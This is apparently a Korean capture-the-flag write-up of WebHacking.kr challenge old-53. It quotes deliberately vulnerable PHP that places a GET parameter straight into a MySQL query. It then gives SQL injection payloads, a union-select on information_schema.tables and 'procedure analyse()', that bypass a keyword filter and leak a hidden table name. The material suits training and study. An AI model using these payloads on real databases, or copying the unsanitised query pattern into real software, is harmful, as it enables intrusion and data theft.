Search

WebHacking.kr Challenge old-53

목표 : SQL procedure analyse()
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?> <html> <head> <title>Challenge 53</title> </head> <body> <?php $db = dbconnect(); include "./tablename.php"; if($_GET['answer'] == $hidden_table) solve(53); if(preg_match("/select|by/i",$_GET['val'])) exit("no hack"); $result = mysqli_fetch_array(mysqli_query($db,"select a from $hidden_table where a={$_GET['val']}")); echo($result[0]); ?> <hr><a href=./?view_source=1>view-source</a> </body> </html>
SQL
복사
바로 소스만 있다.
answer 값에 hidden_table 을 입력하면 해결
valselectby를 필터링하며 hidden table 에서 val 값이 필드 a에 있을 경우 출력한다.
val은 0~4만 출력된다.
union select가 가능했을 경우 다음 쿼리로 테이블명 획득이 가능하다.
a' union select '1','2','3','4','5',table_name,'7','8','9','10','11' from information_schema.tables --
SQL
복사
찾아봤다 테이블명을 where 문 뒤에서 출력하는 기능이 있는지. procedure analyse();라는 처음보는 함수가 있었다.
진짜 그냥 이대로만 쓰면 테이블명이 튀어나온다.
val=1 procedure analyse();
SQL
복사
가운데 값이 테이블명이다.
answer에 넣어주면 해결된다.

procedure analyse()